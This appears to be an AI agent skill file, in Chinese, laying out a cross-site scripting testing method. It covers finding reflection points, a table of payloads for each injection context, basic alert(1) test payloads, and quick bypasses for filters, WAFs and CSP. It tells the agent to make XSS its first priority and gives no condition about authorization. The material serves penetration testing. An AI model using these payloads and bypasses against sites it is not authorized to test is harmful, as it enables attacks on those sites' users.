xss-methodology

DevOps & Security

反射型/存储型/DOM XSS 的检测、利用和绕过。当 Web 应用有用户输入回显（搜索/评论/表单/URL参数）、或发现存储型内容输出点时使用。包含上下文分析决策树、WAF绕过技巧、CSP绕过方法、DOM Clobbering、mXSS、SVG XSS。优先于其他漏洞测试——XSS 是最低成本的高危漏洞，发现后立即构造 PoC

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XSS 跨站脚本完整方法论

⛔ 深入参考（遇到 WAF/CSP 时必读）

WAF/过滤绕过 payload 大全、CSP 绕过进阶、DOM Clobbering、mXSS、SVG XSS、存储型/DOM XSS → references/xss-bypass-and-types.md
CSP 绕过与 DOM XSS 深入技术 → references/csp-bypass-and-dom-xss.md

Phase 0: 回显点发现（最先执行！）

每个参数发送唯一标记（xss123test），在响应中搜索
不仅检查 HTML body，也检查响应头（Location:, Set-Cookie:）
常见：搜索结果页、错误页面、用户资料页

Phase 1: 上下文分析（决定 payload）

上下文	示例	基础 Payload
HTML 标签间	`<div>INJECT</div>`	`<script>alert(1)</script>`
属性值（双引号）	`<input value="INJECT">`	`" onfocus=alert(1) autofocus="`
属性值（单引号）	`<input value='INJECT'>`	`' onfocus=alert(1) autofocus='`
JavaScript 字符串	`var x="INJECT"`	`";alert(1)//`
URL/href	`<a href="INJECT">`	`javascript:alert(1)`
JS 模板字面量	var x=`INJECT`	`${alert(1)}` 或 `+alert(1)+`

关键：不同上下文需要不同 payload！先确定上下文再选择。

Phase 2: 基础 XSS 测试

1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>      ← script 被过滤时
3. <svg onload=alert(1)>
4. " onfocus=alert(1) autofocus="    ← 属性注入

验证：检查响应 HTML 中 payload 是否被原样保留（未编码）。< 变成 < → 已转义，换参数。

Phase 3: 绕过与高级利用

遇到 WAF/过滤 → references/xss-bypass-and-types.md

速查：

<script> 被过滤 → <img>, <svg>, <details>, <video>
alert 被过滤 → confirm(), prompt(), print()
() 被过滤 → alert`1`
CSP 限制 → 检查 unsafe-inline / nonce / JSONP 端点

注意事项

先测回显再测注入：没有回显就没有 XSS
HTTP-only Cookie 无法通过 XSS 窃取
记录每个参数的编码行为